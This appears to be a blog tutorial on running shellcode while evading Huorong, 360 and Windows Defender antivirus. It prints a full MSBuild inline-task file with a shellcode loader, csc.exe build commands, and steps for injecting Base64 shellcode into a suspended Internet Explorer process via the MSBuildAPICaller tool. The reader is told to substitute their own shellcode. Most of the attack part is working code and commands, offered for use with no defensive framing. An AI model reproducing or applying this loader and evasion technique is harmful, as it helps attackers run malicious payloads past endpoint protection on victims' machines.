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#3-Methods to execute shellcode bypassing Huorong and 360 antivirus software(To be continued)

MSBuild without MSBuild

Prepare

MSBuild is the build platform for Microsoft and Visual Studio, it is also can be utilized to build applications in some environments where Visual Studio is not installed, so it trusted by some antivirus software.

MSBuild can compile xml files in specific formats, so, to run our shellcode via MSBuild , we need a xml file like this.

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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[195] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x20,0x63,0x00 };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>

The shellcode which contained by this xml file will run calc.exe.

but sometimes when we try to execute our shellcode via MSBuild directly , it will be detected and blocked like this (blocked by Windows Defender).

image-20200507232833305

so how can we use MSBuild functions to run our shellcode without MSBuild to bypass the antivirus software ?

Let’s introduce the MSBuildAPICaller written by rvrsh3ll.

We need the following files to accomplish our attack.

  • IEShim.dll
  • .csproj
  • MSBuildApiCaller.exe

you can get these files from the link above. Now let’s prepare the files we need.

Build IEShim.cs

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C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

image-20200508000201867

image-20200508000309955

Then you will get a library file called IEShim.dll which used to create the Internet Explorer process in a suspended state .and to perform the injection of the shellcode into the address space of this process. The shellcode is expected to be Base64 encoded.

image-20200508000544606

image-20200508000706322

Using “VirtualAllocEx” to allocate memory within the virtual address space of “iexplore.exe” and the “WriteProcessMemory” to write the shellcode into the allocated space. You can also use your own way to inject your shellcode.

Modify “projectPath” of msbuildapicaller.cs

Here is an example.

image-20200508002928965

Set the the variable in msbuildapicaller.csproj

Replace the shellcode in msbuildapicaller.csproj with your base64 encoded x64 shellcode and replace AssemblyFile variable with the location of IEShim.dll like this.

image-20200508002823552

Build msbuildapicaller.cs

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C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

Finally.

image-20200508003054901

Execute

here we go.

image-20200508011614208